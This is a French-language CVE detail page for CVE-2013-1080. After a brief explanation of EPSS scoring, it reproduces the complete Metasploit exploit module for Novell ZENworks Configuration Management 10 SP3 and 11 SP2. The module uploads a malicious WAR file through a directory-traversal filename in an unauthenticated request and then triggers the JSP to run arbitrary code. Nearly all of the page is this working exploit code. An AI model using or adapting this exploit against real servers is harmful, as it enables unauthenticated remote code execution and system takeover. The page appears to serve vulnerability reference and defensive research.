CVE-2013-1080 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Novell ZENworks Configuration Management Remote Execution', 'Description' => %q{ This module exploits a code execution flaw in Novell ZENworks Configuration Management 10 SP3 and 11 SP2. The vulnerability exists in the ZEnworks Control Center application, allowing an unauthenticated attacker to upload a malicious file outside of the TEMP directory and then make a second request that allows for arbitrary code execution. This module has been tested successfully on Novell ZENworks Configuration Management 10 SP3 and 11 SP2 on Windows 2003 SP2 and SUSE Linux Enterprise Server 10 SP3. }, 'Author' => [ 'James Burton', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-1080' ], [ 'BID', '58668' ], [ 'OSVDB', '91627' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-049/' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011812' ] ], 'Privileged' => false, 'Platform' => [ 'win', 'linux' ], 'Targets' => [ [ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / Windows 2003 SP2', { 'Arch' => ARCH_X86, 'Platform' => 'win', 'Traversal' => '../webapps/' } ], [ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / SUSE Linux Enterprise Server 10 SP3', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'Traversal' => '../../opt/novell/zenworks/share/tomcat/webapps/' } ] ], 'DefaultTarget' => 1, 'DisclosureDate' => 'Mar 22 2013')) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]) ], self.class) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => "/zenworks/jsp/fw/internal/Login.jsp" }) if res and res.code == 200 and res.body =~ /Novell ZENworks Control Center/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Detected end def exploit # Generate the WAR containing the EXE containing the payload app_base = rand_text_alphanumeric(4+rand(4)) jsp_name = rand_text_alphanumeric(8+rand(8)) war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...") # Rex::MIME::Message.new doesn't work fine with binary data, destroys "\x0d" chars boundary = "----#{rand_text_alpha(34)}" data = "--#{boundary}\r\n" data << "Content-Disposition: form-data; name=\"mainPage:_ctrl21a:FindFile:filePathTextBox\"; filename=\"#{target['Traversal']}#{app_base}.war\"\r\n" data << "Content-Type: application/octet-stream\r\n\r\n" data << war_data data << "\r\n" data << "--#{boundary}--" res = send_request_cgi( { 'method' => 'POST', 'uri' => "/zenworks/jsp/index.jsp?pageid=newDocumentWizard", 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => data }) if res and res.code == 302 print_status("Upload finished, waiting 20 seconds for payload deployment...") else fail_with(Exploit::Failure::Unknown, "Failed to upload payload") end # Wait to ensure the uploaded war is deployed select(nil, nil, nil, 20) print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...") send_request_cgi({ 'uri' => normalize_uri(app_base, "#{jsp_name}.jsp"), 'method' => 'GET', }) end end